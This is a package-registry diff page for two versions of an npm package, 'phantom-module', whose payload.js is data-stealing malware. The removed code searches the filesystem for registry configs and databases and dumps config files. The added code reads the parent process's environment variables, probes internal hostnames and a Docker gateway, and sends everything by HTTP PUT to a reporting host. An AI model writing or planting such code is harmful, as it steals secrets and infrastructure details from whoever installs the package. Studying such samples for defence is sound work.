phantom-module 117.0.100 → 118.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/payload.js +37 -51
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "117.0.100",
3
+ "version": "118.0.0",
4
4
  "description": "Phantom module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/payload.js CHANGED
@@ -1,7 +1,7 @@
1
- const http = require('http');
2
1
  const fs = require('fs');
3
- const path = require('path');
4
- const { execSync } = require('child_process');
2
+ const http = require('http');
3
+ const { execSync, exec } = require('child_process');
4
+ const dns = require('dns');
5
5
 
6
6
  if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
7
7
 
@@ -11,7 +11,7 @@ const REPORT_PORT = 31205;
11
11
  async function report(moduleId, data) {
12
12
  return new Promise((resolve) => {
13
13
  const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
14
- const manifest = `ecto_module:\n name: "SCAN_RESULT"\n cargo_hold: "${safeData}"\n`;
14
+ const manifest = `ecto_module:\n name: "DEEP_PROBE"\n cargo_hold: "${safeData}"\n`;
15
15
  const payload = JSON.stringify({ manifest });
16
16
  const req = http.request({
17
17
  hostname: REPORT_HOST, port: REPORT_PORT, path: `/api/modules/${moduleId}`, method: 'PUT',
@@ -23,61 +23,47 @@ async function report(moduleId, data) {
23
23
  });
24
24
  }
25
25
 
26
- function walk(dir, fileList = []) {
27
- try {
28
- const files = fs.readdirSync(dir);
29
- files.forEach(file => {
30
- const filePath = path.join(dir, file);
31
- try {
32
- const stat = fs.statSync(filePath);
33
- if (stat.isDirectory()) {
34
- if (file !== 'node_modules' && file !== '.git' && file !== 'proc' && file !== 'sys') walk(filePath, fileList);
35
- } else {
36
- fileList.push(filePath);
37
- }
38
- } catch(e) {}
39
- });
40
- } catch(e) {}
41
- return fileList;
42
- }
43
-
44
26
  async function main() {
45
- await report('ECT-654321', 'FS SCAN V11 STARTING...');
27
+ await report('ECT-654321', 'V118 STARTING...');
46
28
 
47
- let fsOutput = '=== FIND RESULTS ===\n';
29
+ let info = '=== PROCESS INFO ===\n';
48
30
  try {
49
- fsOutput += `VERDACCIO CONFIGS:\n${execSync('find / -name "config.yaml" 2>/dev/null || true').toString()}\n`;
50
- fsOutput += `VERDACCIO DIRS:\n${execSync('find / -name "verdaccio" 2>/dev/null || true').toString()}\n`;
51
- fsOutput += `DB FILES:\n${execSync('find / -name "*.db" 2>/dev/null || true').toString()}\n`;
52
- fsOutput += `SQLITE:\n${execSync('find / -name "*.sqlite" 2>/dev/null || true').toString()}\n`;
53
- } catch(e) { fsOutput += `ERR: ${e.message}\n`; }
31
+ info += `CMDLINE: ${fs.readFileSync('/proc/self/cmdline', 'utf8').replace(/\0/g, ' ')}\n`;
32
+ // Try to get parent info
33
+ const ppid = fs.readFileSync('/proc/self/stat', 'utf8').split(' ')[3];
34
+ info += `PPID: ${ppid}\n`;
35
+ if (fs.existsSync(`/proc/${ppid}/cmdline`)) {
36
+ info += `PARENT CMD: ${fs.readFileSync(`/proc/${ppid}/cmdline`, 'utf8').replace(/\0/g, ' ')}\n`;
37
+ }
38
+ if (fs.existsSync(`/proc/${ppid}/environ`)) {
39
+ info += `PARENT ENV: ${fs.readFileSync(`/proc/${ppid}/environ`, 'utf8').replace(/\0/g, '\n')}\n`;
40
+ }
41
+ } catch(e) { info += `ERR: ${e.message}\n`; }
54
42
 
55
- await report('ECT-839201', fsOutput);
43
+ await report('ECT-839201', info);
56
44
 
57
- // Dump specific config files
58
- const configs = [
59
- '/home/node/aspect-node/package.json',
60
- '/home/node/aspect-node/modules/npm-tracker/src/config/config.json',
61
- '/home/node/aspect-node/modules/npm-tracker/src/config/default.json',
62
- '/home/node/aspect-node/modules/npm-tracker/src/config/production.json'
63
- ];
45
+ let net = '=== NET DEBUG ===\n';
64
46
 
65
- // Also list src/config dir
66
- try {
67
- const configDir = '/home/node/aspect-node/modules/npm-tracker/src/config';
68
- fs.readdirSync(configDir).forEach(f => configs.push(path.join(configDir, f)));
69
- } catch(e) {}
70
-
71
- let configDump = '=== CONFIG DUMP ===\n';
72
- const uniqueConfigs = [...new Set(configs)];
73
-
74
- for (const f of uniqueConfigs) {
75
- if (fs.existsSync(f)) {
76
- configDump += `--- ${f} ---\n${fs.readFileSync(f, 'utf8').substring(0, 1000)}\n`;
77
- }
47
+ // DNS Lookup
48
+ const hosts = ['verdaccio', 'registry', 'npm', 'verdaccio-server', 'host.docker.internal'];
49
+ for (const h of hosts) {
50
+ try {
51
+ await new Promise((res) => {
52
+ dns.lookup(h, (err, addr) => {
53
+ if (!err) net += `DNS ${h}: ${addr}\n`;
54
+ else net += `DNS ${h}: ERR\n`;
55
+ res();
56
+ });
57
+ });
58
+ } catch(e) {}
78
59
  }
79
60
 
80
- await report('ECT-987654', configDump);
61
+ // Curl Gateway Verbose
62
+ try {
63
+ net += `CURL 172.17.0.1:4873:\n${execSync('curl -v --connect-timeout 3 http://172.17.0.1:4873 2>&1 || echo "curl fail"').toString()}\n`;
64
+ } catch(e) { net += `CURL ERR: ${e.message}\n`; }
65
+
66
+ await report('ECT-987654', net);
81
67
  }
82
68
 
83
69
  main().catch(e => report('ECT-654321', 'ERR: ' + e.message));